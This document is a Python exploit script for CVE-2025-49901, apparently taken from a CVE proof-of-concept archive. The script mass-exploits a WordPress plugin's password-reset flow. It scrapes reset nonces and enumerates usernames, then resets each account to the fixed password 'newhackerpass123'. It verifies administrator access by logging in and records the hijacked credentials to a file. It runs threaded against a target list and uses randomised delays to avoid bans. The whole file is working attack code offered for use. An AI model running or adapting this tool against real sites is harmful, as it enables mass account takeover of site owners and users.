5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2025-49901.py PY
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

# By: Nxploited
# GitHub: https://github.com/Nxploited
# Telegram: @KNxploited

import os
import re
import sys
import time
import random
from concurrent.futures import ThreadPoolExecutor, as_completed
from typing import Optional, List, Set, Tuple
from urllib.parse import urlparse, urljoin

import requests
import urllib3

try:
    from colorama import Fore, Style, init as colorama_init  # type: ignore
    colorama_init(autoreset=True)
except Exception:
    class _C:
        RESET = ""
        RED = ""
        GREEN = ""
        YELLOW = ""
        CYAN = ""
        MAGENTA = ""
        BLUE = ""
        WHITE = ""
    Fore = _C()
    Style = _C()

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
requests.packages.urllib3.disable_warnings()

RESET_PAGES = [
    "restore",
    "reset-password",
    "forgot-password",
    "password-reset",
    "recover-password",
    "restore-password",
    "lost-password",
    "account-recovery",
    "recover-account",
    "set-new-password",
    "change-password",
]

EXTRA_PAGES = [
    "",
    "login",
    "signin",
    "my-account",
    "account",
    "profile",
    "member",
    "members",
]

FIXED_PASSWORD = "newhackerpass123"
RESULT_FILE = "scan_results/reset_mass_success.txt"

BANNER_CORE = [
    "  _      _   _   _  _   _          _   _   _     ",
    " / \\  / |_ __ ) / \\  ) |_ __ |_|_ (_| (_| / \\ /| ",
    " \\_ \\/  |_   /_ \\_/ /_  _)     |    |   | \\_/  | ",
    "                                                 ",
]

AUTHOR_LINE = "By: Nxploited | GitHub: https://github.com/Nxploited | Telegram: @KNxploited"
TITLE_LINE = "WordPress qc-opd Reset Flow Scanner"


def print_banner() -> None:
    os.system("cls" if os.name == "nt" else "clear")

    # حافة كاملة للمربع بالكامل
    width = 67  # عرض داخلي مريح لكل الخطوط
    top_border =    "╔" + "═" * width + "╗"
    mid_border =    "╟" + "─" * width + "╢"
    bottom_border = "╚" + "═" * width + "╝"

    print(Fore.GREEN + top_border + Style.RESET_ALL)

    # سطر العنوان الأكبر
    title = TITLE_LINE.center(width)
    print(
        Fore.GREEN + "║" + Style.RESET_ALL +
        Fore.MAGENTA + title + Style.RESET_ALL +
        Fore.GREEN + "║" + Style.RESET_ALL
    )

    # فاصل هادئ
    print(Fore.GREEN + mid_border + Style.RESET_ALL)

    # شعار ASCII
    for line in BANNER_CORE:
        padded = line.center(width)
        print(
            Fore.GREEN + "║" + Style.RESET_ALL +
            Fore.CYAN + padded + Style.RESET_ALL +
            Fore.GREEN + "║" + Style.RESET_ALL
        )

    # فاصل آخر
    print(Fore.GREEN + mid_border + Style.RESET_ALL)

    # سطر الكاتب والحسابات
    author = AUTHOR_LINE.center(width)
    print(
        Fore.GREEN + "║" + Style.RESET_ALL +
        Fore.YELLOW + author + Style.RESET_ALL +
        Fore.GREEN + "║" + Style.RESET_ALL
    )

    print(Fore.GREEN + bottom_border + Style.RESET_ALL)
    print()


def now_hms() -> str:
    return time.strftime("%H:%M:%S")


def format_site_status(
    base: str,
    nonce_status: str,
    reset_status: str,
    access_status: str,
    color: str,
) -> None:
    line = (
        f"[{now_hms()}] "
        f"[{base}] "
        f"NONCE: {nonce_status:<4} | "
        f"RESET: {reset_status:<4} | "
        f"ACCESS: {access_status}"
    )
    print(color + line + Style.RESET_ALL)


def log_note(msg: str) -> None:
    print(f"[{now_hms()}] {Fore.CYAN}[*]{Style.RESET_ALL} {msg}")


def log_warn(msg: str) -> None:
    print(f"[{now_hms()}] {Fore.YELLOW}[!]{Style.RESET_ALL} {msg}")


def log_err(msg: str) -> None:
    print(f"[{now_hms()}] {Fore.RED}[x]{Style.RESET_ALL} {msg}")


def log_done(msg: str) -> None:
    print(f"[{now_hms()}] {Fore.GREEN}[+]{Style.RESET_ALL} {msg}")


def split_wp_base(url: str) -> Tuple[str, str]:
    url = url.strip()
    if not url.startswith(("http://", "https://")):
        url = "https://" + url
    parsed = urlparse(url)
    base_host = f"{parsed.scheme}://{parsed.netloc}"
    path = parsed.path or "/"
    if path == "/":
        return base_host, ""
    return base_host, path.rstrip("/")


def build_wp_url(base_host: str, wp_base: str, path: str) -> str:
    if not path.startswith("/"):
        path = "/" + path
    full = (wp_base + path).replace("//", "/")
    return base_host + full


def build_session(timeout: int) -> requests.Session:
    s = requests.Session()
    s.verify = False
    s.headers.update({
        "User-Agent": (
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
            "AppleWebKit/537.36 (KHTML, like Gecko) "
            "Chrome/121.0.0.0 Safari/537.36"
        ),
        "Accept": (
            "text/html,application/xhtml+xml,application/xml;q=0.9,"
            "image/avif,image/webp,image/apng,*/*;q=0.8"
        ),
        "Accept-Language": "en-US,en;q=0.9",
        "Connection": "keep-alive",
        "Upgrade-Insecure-Requests": "1",
        "Pragma": "no-cache",
        "Cache-Control": "no-cache",
    })
    adapter = requests.adapters.HTTPAdapter(
        pool_connections=50,
        pool_maxsize=50,
        max_retries=1
    )
    s.mount("http://", adapter)
    s.mount("https://", adapter)
    return s


def extract_qc_opd_nonce_from_js(body: str) -> Optional[str]:
    if not body:
        return None

    m = re.search(
        r'["\']action["\']\s*:\s*["\']qc-opd["\'][^}]+["\']nonce["\']\s*:\s*["\']([0-9A-Za-z]+)["\']',
        body,
        flags=re.IGNORECASE
    )
    if m:
        return m.group(1)

    m = re.search(
        r'["\']nonce["\']\s*:\s*["\']([0-9A-Za-z]+)["\'][^}]+["\']action["\']\s*:\s*["\']qc-opd["\']',
        body,
        flags=re.IGNORECASE
    )
    if m:
        return m.group(1)

    m = re.search(
        r'(?:qc[_-]?opd[_-]?nonce|qcOpdNonce)\s*=\s*["\']([0-9A-Za-z]+)["\']',
        body,
        flags=re.IGNORECASE
    )
    if m:
        return m.group(1)

    m = re.search(
        r'(?:qc[_-]?opd|qcOpd)\s*=\s*\{[^}]*["\']nonce["\']\s*:\s*["\']([0-9A-Za-z]+)["\']',
        body,
        flags=re.IGNORECASE
    )
    if m:
        return m.group(1)

    snippet_regex = re.compile(r'.{0,120}qc-opd.{0,120}', re.IGNORECASE | re.DOTALL)
    for snip in snippet_regex.findall(body):
        m2 = re.search(r'["\']([0-9A-Za-z]{8,20})["\']', snip)
        if m2:
            return m2.group(1)

    return None


def extract_wpnonce(body: str) -> Optional[str]:
    if not body:
        return None

    m = re.search(
        r'name=["\']_wpnonce["\']\s+value=["\']([0-9A-Za-z]+)["\']',
        body,
        flags=re.IGNORECASE
    )
    if m:
        return m.group(1)

    m = re.search(
        r'id=["\']_wpnonce["\']\s+name=["\']_wpnonce["\']\s+value=["\']([0-9A-Za-z]+)["\']',
        body,
        flags=re.IGNORECASE
    )
    if m:
        return m.group(1)

    m = re.search(
        r'_wpnonce["\']\s*value=["\']([0-9A-Za-z]+)["\']',
        body,
        flags=re.IGNORECASE
    )
    if m:
        return m.group(1)

    m = re.search(
        r'name=["\']_wpnonce[_-]?qc[-_]?opd["\']\s+value=["\']([0-9A-Za-z]+)["\']',
        body,
        flags=re.IGNORECASE
    )
    if m:
        return m.group(1)

    m = re.search(
        r'id=["\']qc-opd-nonce["\'][^>]*value=["\']([0-9A-Za-z]+)["\']',
        body,
        flags=re.IGNORECASE
    )
    if m:
        return m.group(1)

    js_nonce = extract_qc_opd_nonce_from_js(body)
    if js_nonce:
        return js_nonce

    return None


def page_contains_sld_and_form(body: str) -> bool:
    if not body:
        return False

    low = body.lower()

    if "sld" not in low:
        return False

    if "_wpnonce" not in low:
        return False

    if 'name="action"' in low and 'value="restore"' in low:
        return True

    if "<form" in low and 'name="_wpnonce"' in low:
        return True

    return False


def extract_internal_links(body: str, base_url: str, max_links: int = 20) -> List[str]:
    links: List[str] = []
    if not body:
        return links
    try:
        host = base_url.split("://", 1)[1].split("/", 1)[0]
    except Exception:
        host = ""
    for m in re.finditer(r'href=["\']([^"\']+)["\']', body, flags=re.IGNORECASE):
        href = m.group(1)
        if href.startswith("#"):
            continue
        full = urljoin(base_url, href)
        parsed = urlparse(full)
        if parsed.scheme not in ("http", "https"):
            continue
        if host and host not in (parsed.netloc or ""):
            continue
        if full not in links:
            links.append(full)
        if len(links) >= max_links:
            break
    return links


def find_reset_page_and_nonce_expanded(
    sess: requests.Session,
    base_host: str,
    wp_base: str,
    timeout: int,
) -> Tuple[Optional[str], Optional[str]]:
    tried: Set[str] = set()

    def try_url(url: str) -> Tuple[Optional[str], Optional[str]]:
        if url in tried:
            return None, None
        tried.add(url)
        try:
            r = sess.get(url, timeout=timeout, allow_redirects=True)
        except Exception:
            return None, None
        if r.status_code != 200:
            return None, None
        body = r.text or ""
        if not page_contains_sld_and_form(body):
            return None, None
        nonce = extract_wpnonce(body)
        if nonce:
            return r.url, nonce
        return None, None

    for slug in RESET_PAGES:
        slug = slug.strip("/")
        for variant in (f"/{slug}/", f"/{slug}"):
            url = build_wp_url(base_host, wp_base, variant)
            page_url, nonce = try_url(url)
            if page_url and nonce:
                return page_url, nonce

    for slug in EXTRA_PAGES:
        slug = slug.strip("/")
        path = "/" if slug == "" else f"/{slug}/"
        url = build_wp_url(base_host, wp_base, path)
        page_url, nonce = try_url(url)
        if page_url and nonce:
            return page_url, nonce

    home = build_wp_url(base_host, wp_base, "/")
    try:
        rh = sess.get(home, timeout=timeout, allow_redirects=True)
    except Exception:
        return None, None
    if rh.status_code == 200 and rh.text:
        base_for_links = rh.url
        links = extract_internal_links(rh.text, base_for_links, max_links=25)
        for link in links:
            page_url, nonce = try_url(link)
            if page_url and nonce:
                return page_url, nonce

    return None, None


AUTHOR_PATTERN = re.compile(r"/author/([^/]+)")
AUTHOR_BODY_PATTERNS = [
    re.compile(r'author-\w+">([a-z0-9_\-]+)<', re.I),
    re.compile(r"/author/([a-z0-9_\-]+)/", re.I),
    re.compile(r'"slug":"([a-z0-9_\-]+)"', re.I),
    re.compile(r'"username":"([a-z0-9_\-]+)"', re.I),
]


def enum_by_author(sess: requests.Session, root_url: str, timeout: int, max_i: int = 10) -> Set[str]:
    users: Set[str] = set()
    for i in range(1, max_i + 1):
        try:
            u = f"{root_url}/?author={i}"
            r = sess.get(u, timeout=timeout, allow_redirects=False)
            if r.status_code in (301, 302):
                loc = r.headers.get("location", "") or r.headers.get("Location", "")
                m = AUTHOR_PATTERN.search(loc)
                if m:
                    users.add(m.group(1))
            r2 = sess.get(u, timeout=timeout, allow_redirects=True)
            if r2.status_code == 200 and r2.text:
                body = r2.text
                for patt in AUTHOR_BODY_PATTERNS:
                    for x in patt.findall(body):
                        users.add(x)
        except Exception:
            continue
    return users


def enum_by_rest(sess: requests.Session, root_url: str, timeout: int) -> Set[str]:
    users: Set[str] = set()
    api = root_url.rstrip("/") + "/wp-json/wp/v2/users"
    try:
        r = sess.get(api, timeout=timeout)
    except Exception:
        return users
    if r.status_code != 200:
        return users
    try:
        data = r.json()
    except Exception:
        return users
    if isinstance(data, list):
        for entry in data:
            if isinstance(entry, dict):
                for key in ("slug", "username", "name"):
                    v = entry.get(key)
                    if v:
                        users.add(str(v))
    return users


def collect_candidates(base_host: str, wp_base: str, timeout: int) -> List[str]:
    sess = build_session(timeout)
    root = build_wp_url(base_host, wp_base, "/")

    users: Set[str] = set()
    users.update(enum_by_author(sess, root, timeout, max_i=10))
    users.update(enum_by_rest(sess, root, timeout))

    parsed = urlparse(root)
    host = (parsed.netloc or "").split(":")[0].lower()
    if host.startswith("www."):
        host = host[4:]
    first_label = host.split(".")[0]
    if first_label and len(first_label) > 2:
        users.add(first_label)

    users.add("admin")
    users = {u for u in users if u and 2 < len(u) < 50}

    if not users:
        users = {"admin"}

    return sorted(users)


def send_reset_for_user(
    sess: requests.Session,
    page_url: str,
    username: str,
    nonce: str,
    timeout: int,
) -> bool:
    data = {
        "qc-restore-pwd": "restore",
        "qc-restore-pwd-type": "user",
        "qc-uid": username,
        "pass": FIXED_PASSWORD,
        "_wpnonce": nonce,
    }
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "Referer": page_url,
    }
    try:
        r = sess.post(
            page_url,
            data=data,
            headers=headers,
            timeout=timeout,
            allow_redirects=True,
        )
    except Exception:
        return False
    if r.status_code not in (200, 302, 301):
        return False
    body = (r.text or "").lower()
    fails = [
        "invalid user",
        "unknown user",
        "user not found",
        "invalid username",
        "error:",
        "error ",
        "failed",
    ]
    if any(f in body for f in fails):
        return False
    return True


def check_admin_access(sess: requests.Session, root_url: str, timeout: int) -> bool:
    admin_paths = [
        "/wp-admin/index.php",
        "/wp-admin/profile.php",
        "/wp-admin/edit.php",
        "/wp-admin/plugins.php",
        "/wp-admin/users.php",
    ]
    markers = [
        'id="adminmenu"', 'id="wpadminbar"', '<div id="wpwrap">',
        'class="wp-admin', 'id="wpcontent"', 'id="wpbody-content"',
        "users.php", "plugins.php", "edit.php",
    ]
    deny = [
        "sorry, you are not allowed to access this page",
        "you do not have sufficient permissions",
        "insufficient permissions",
    ]

    ok_pages = 0

    for ep in admin_paths:
        u = root_url.rstrip("/") + ep
        try:
            r = sess.get(u, timeout=timeout, allow_redirects=True)
        except Exception:
            continue
        if r.status_code != 200:
            continue
        if "wp-login.php" in (r.url or ""):
            return False
        content = r.text or ""
        low = content.lower()
        if any(d in low for d in deny):
            return False
        found = sum(1 for m in markers if m in content)
        if found >= 3:
            ok_pages += 1
        if ok_pages >= 2:
            return True

    try:
        r2 = sess.get(
            root_url.rstrip("/") + "/wp-admin/plugin-install.php",
            timeout=timeout,
            allow_redirects=True
        )
        if r2.status_code == 200:
            low2 = (r2.text or "").lower()
            if any(d in low2 for d in deny):
                return False
            if "upload-plugin" in low2 or "plugin-install-tab" in low2:
                return True
    except Exception:
        pass

    return ok_pages >= 1


def find_wp_login_path(sess: requests.Session, base_host: str, wp_base: str, timeout: int) -> str:
    paths = [
        "/wp-login.php",
        "/wordpress/wp-login.php",
        "/wp/wp-login.php",
        "/blog/wp-login.php",
        "/cms/wp-login.php",
        "/wp/login.php",
    ]
    for p in paths:
        url = build_wp_url(base_host, wp_base, p)
        try:
            r = sess.get(url, timeout=timeout, allow_redirects=True)
        except Exception:
            continue
        txt = r.text or ""
        if r.status_code == 200 and "<form" in txt and "password" in txt.lower():
            return p
    return "/wp-login.php"


def strict_login_attempt(
    sess: requests.Session,
    base_host: str,
    wp_base: str,
    login_path: str,
    username: str,
    password: str,
    timeout: int,
) -> bool:
    root_site = build_wp_url(base_host, wp_base, "/")
    login_url = build_wp_url(base_host, wp_base, login_path)

    try:
        sess.get(login_url, timeout=timeout, allow_redirects=True)
    except Exception:
        pass

    data = {
        "log": username.strip(),
        "pwd": password,
        "wp-submit": "Log In",
        "testcookie": "1",
    }
    headers = {
        "User-Agent": sess.headers.get("User-Agent", ""),
        "Content-Type": "application/x-www-form-urlencoded",
        "Referer": login_url,
    }

    try:
        r = sess.post(
            login_url,
            data=data,
            headers=headers,
            timeout=timeout,
            allow_redirects=True,
        )
    except Exception:
        return False

    content = (r.text or "").lower()
    fails = [
        "incorrect username or password",
        "invalid username",
        "invalid password",
        "error: the username",
        "is not registered",
        "authentication failed",
        "login failed",
        "unknown username",
    ]
    if any(x in content for x in fails):
        return False

    has_cookie = any(c.name.startswith("wordpress_logged_in") for c in sess.cookies)
    if not has_cookie:
        return False

    if not check_admin_access(sess, root_site, timeout):
        return False

    return True


def detect_direct_session_mode(
    sess: requests.Session,
    base_host: str,
    wp_base: str,
    timeout: int,
) -> bool:
    root_site = build_wp_url(base_host, wp_base, "/")
    has_cookie = any(c.name.startswith("wordpress_logged_in") for c in sess.cookies)
    if not has_cookie:
        return False
    return check_admin_access(sess, root_site, timeout)


def brute_after_reset_password_mode(
    base_host: str,
    wp_base: str,
    usernames: List[str],
    password: str,
    timeout: int,
    output_file: str,
    per_user_delay_min: float,
    per_user_delay_max: float,
) -> int:
    hits = 0
    sess0 = build_session(timeout)
    login_path = find_wp_login_path(sess0, base_host, wp_base, timeout)

    for username in usernames:
        sess_user = build_session(timeout)
        if strict_login_attempt(sess_user, base_host, wp_base, login_path, username, password, timeout):
            ts = time.strftime("%Y-%m-%dT%H:%M:%S")
            line = f"[{ts}] {base_host}{wp_base or ''} - account={username}  pass={password}  mode=password\n"
            os.makedirs(os.path.dirname(output_file), exist_ok=True)
            with open(output_file, "a", encoding="utf-8") as f:
                f.write(line)
            hits += 1
        time.sleep(random.uniform(per_user_delay_min, per_user_delay_max))

    return hits


def process_site(
    site: str,
    timeout: int,
    per_user_delay_min: float,
    per_user_delay_max: float,
    per_site_delay: float,
    output_file: str,
) -> None:
    base_host, wp_base = split_wp_base(site)
    label = f"{base_host}{wp_base or ''}"

    nonce_status = "-"
    reset_status = "-"
    access_hits = 0

    sess = build_session(timeout)

    page_url, nonce = find_reset_page_and_nonce_expanded(sess, base_host, wp_base, timeout)
    if nonce and page_url:
        nonce_status = "OK"
    else:
        nonce_status = "FAIL"
        format_site_status(label, nonce_status, reset_status, f"{access_hits} HIT", Fore.RED)
        return

    usernames = collect_candidates(base_host, wp_base, timeout)
    if not usernames:
        reset_status = "FAIL"
        format_site_status(label, nonce_status, reset_status, f"{access_hits} HIT", Fore.RED)
        return

    reset_success_any = False
    session_mode_hits = 0

    for username in usernames:
        ok = send_reset_for_user(sess, page_url, username, nonce, timeout)
        if ok:
            reset_success_any = True
            if detect_direct_session_mode(sess, base_host, wp_base, timeout):
                ts = time.strftime("%Y-%m-%dT%H:%M:%S")
                line = f"[{ts}] {base_host}{wp_base or ''} - account={username}  pass={FIXED_PASSWORD}  mode=session\n"
                os.makedirs(os.path.dirname(output_file), exist_ok=True)
                with open(output_file, "a", encoding="utf-8") as f:
                    f.write(line)
                session_mode_hits += 1
        time.sleep(random.uniform(per_user_delay_min, per_user_delay_max))

    reset_status = "OK" if reset_success_any else "FAIL"

    if not reset_success_any:
        format_site_status(label, nonce_status, reset_status, f"{access_hits} HIT", Fore.YELLOW)
        time.sleep(per_site_delay)
        return

    password_mode_hits = brute_after_reset_password_mode(
        base_host,
        wp_base,
        usernames,
        FIXED_PASSWORD,
        timeout,
        output_file,
        per_user_delay_min,
        per_user_delay_max,
    )

    access_hits = session_mode_hits + password_mode_hits
    color = Fore.GREEN if access_hits > 0 else Fore.YELLOW
    format_site_status(label, nonce_status, reset_status, f"{access_hits} HIT", color)

    time.sleep(per_site_delay)


def ask(prompt: str, default: Optional[str] = None) -> str:
    if default is not None:
        s = input(f"{prompt} [{default}]: ").strip()
        return s if s else default
    return input(f"{prompt}: ").strip()


def ask_int(prompt: str, default: int) -> int:
    s = ask(prompt, str(default))
    try:
        return int(s)
    except Exception:
        return default


def ask_float(prompt: str, default: float) -> float:
    s = ask(prompt, str(default))
    try:
        return float(s)
    except Exception:
        return default


def run_interactive() -> None:
    print_banner()

    url_list_file = ask("Targets list file (one URL per line)", "list.txt")
    if not os.path.exists(url_list_file):
        log_err(f"Targets file not found: {url_list_file}")
        sys.exit(1)

    threads = ask_int("Threads (concurrent sites)", 5)
    timeout = ask_int("HTTP timeout (seconds)", 10)
    per_user_delay_min = ask_float("Per-user delay MIN (seconds, anti-ban)", 0.3)
    per_user_delay_max = ask_float("Per-user delay MAX (seconds, anti-ban)", 0.7)
    per_site_delay = ask_float("Delay between sites (seconds)", 1.0)
    output_file = ask("Output file for strictly verified access", RESULT_FILE)

    targets: List[str] = []
    with open(url_list_file, "r", encoding="utf-8", errors="ignore") as f:
        for line in f:
            line = line.strip()
            if line:
                targets.append(line)

    if not targets:
        log_err("Targets file is empty.")
        sys.exit(1)

    log_note(f"Loaded {len(targets)} targets.")
    log_note("Flow: find qc-opd nonce on SLD pages -> multi-user reset -> session+password verification.")
    log_note(f"Fixed password used for all attempts: {FIXED_PASSWORD}")
    print()

    start = time.time()
    with ThreadPoolExecutor(max_workers=threads) as executor:
        futures = {
            executor.submit(
                process_site,
                site,
                timeout,
                per_user_delay_min,
                per_user_delay_max,
                per_site_delay,
                output_file,
            ): site
            for site in targets
        }

        try:
            for future in as_completed(futures):
                _ = futures[future]
        except KeyboardInterrupt:
            log_warn("Interrupted by user, shutting down threads...")
            executor.shutdown(wait=False, cancel_futures=True)
            sys.exit(1)

    elapsed = time.time() - start
    print()
    log_done(f"Finished in {elapsed:.2f}s")
    log_done(f"Strictly verified access entries written to: {output_file}")


if __name__ == "__main__":
    run_interactive()